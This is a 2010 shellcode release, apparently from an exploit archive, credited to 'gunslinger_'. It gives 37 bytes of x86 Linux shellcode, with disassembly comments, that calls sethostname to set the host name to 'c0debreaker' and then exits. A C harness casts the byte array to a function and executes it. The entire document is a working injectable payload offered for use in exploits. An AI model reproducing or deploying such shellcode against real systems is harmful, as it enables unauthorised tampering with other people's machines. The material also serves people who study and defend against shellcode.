37 bytes small sethostname to c0debreaker Linux shellcode.
503a2c0b7310baafb5afce9928d525d7be73f0a0625fd756db4188bd83e03c91
/*
Title : sethostname to "c0debreaker" linux shellcode .
Name : 37 bytes sethostname to "c0debreaker" linux .
Date : Fri Aug 6 21:41:20 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char shellcode[] =
"\xeb\x13" /* jmp 0x8048075 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x4a" /* mov $0x4a,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\xb1\x0b" /* mov $0xb,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe8\xff\xff\xff" /* call 0x8048062 */
"\x63\x30" /* arpl %si,(%eax) */
"\x64\x65\x62\x72\x65" /* bound %esi,%fs:%gs:0x65(%edx) */
"\x61" /* popa */
"\x6b" /* .byte 0x6b */
"\x65" /* gs */
"\x72"; /* .byte 0x72 */
int main(void)
{
fprintf(stdout,"[*] Shellcode length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}